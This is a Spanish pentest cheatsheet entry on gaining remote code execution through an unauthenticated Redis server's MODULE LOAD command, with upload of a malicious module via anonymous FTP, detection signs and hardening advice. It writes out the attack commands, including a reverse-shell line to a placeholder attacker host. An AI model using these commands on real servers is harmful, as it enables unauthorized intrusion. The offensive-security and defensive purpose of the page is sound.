the_open_door
café
ESEN
← Volver al índice

Redis RCE via MODULE LOAD

Arsenal completo de comandos en la cheatsheet

Redis (puerto 6379) admite módulos: bibliotecas compartidas (.so en Linux) que registran comandos nuevos en el servidor. El comando MODULE LOAD <path> carga uno en caliente. Si el servicio está sin autenticar (sin requirepass) y expone ese comando, un atacante puede cargar un módulo malicioso que añada un comando del estilo system.exec, y ejecutar órdenes con los privilegios del proceso redis.

El módulo de referencia es RedisModules-ExecuteCommand (o el exp_lin.so que trae el exploit Redis-RCE). El flujo es:

MODULE LOAD /ruta/al/modulo.so      # cargar el .so
system.exec "id"                     # ejecutar un comando
system.exec "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"   # shell inversa
MODULE UNLOAD system                 # descargar al terminar

Lo mismo desde una sola línea con redis-cli (o -a '<pass>' si hay requirepass):

redis-cli -h <ip> MODULE LOAD /var/ftp/pub/exp_lin.so
redis-cli -h <ip> system.exec "id"

El punto fino es subir el .so al objetivo. MODULE LOAD necesita una ruta local en la máquina víctima, así que hace falta un canal de escritura previo. Un patrón habitual: un FTP anónimo con escritura cuyo directorio (/var/ftp/pub/) sea legible por Redis; se sube el módulo por FTP y se carga con la ruta resultante (MODULE LOAD /var/ftp/pub/exp_lin.so). También sirve cualquier otra escritura de fichero (un upload web, un montaje compartido, etc.).

Conviene tener presente que la versión del módulo debe casar con la de Redis (la API de módulos cambia entre ramas); exp_lin.so está compilado para las 5.x más comunes, pero contra otras puede fallar la carga y haya que recompilar el módulo en un entorno equivalente.

Cómo detectarlo. En el propio Redis, el slowlog o el monitor registran los comandos delatores: MODULE LOAD, system.exec, CONFIG SET dir/dbfilename (la variante de escritura de webshell/cron), que un servidor de aplicación jamás emite. En la red, conexiones al 6379 desde IPs no locales sobre un Redis sin requirepass son ya la exposición. En el host, el proceso redis-server cargando un .so desde una ruta de subida (/var/ftp/pub/, /tmp) y lanzando sh/bash como hijo es la confirmación (auditd/Sysmon for Linux sobre open del .so + execve con ppid=redis-server).

Defensa. No exponer 6379 a redes no confiables (bindear a 127.0.0.1), exigir requirepass/ACLs, y deshabilitar los comandos peligrosos (MODULE, CONFIG) con rename-command. Cerrar también el vector de subida: un FTP anónimo con escritura junto a un Redis abierto es la combinación que cierra la cadena. Relacionado con la enumeración de Redis y con el RCE por subida de ficheros.

Herramientasredis-cliredis-rogue-server

Máquinas donde se aplica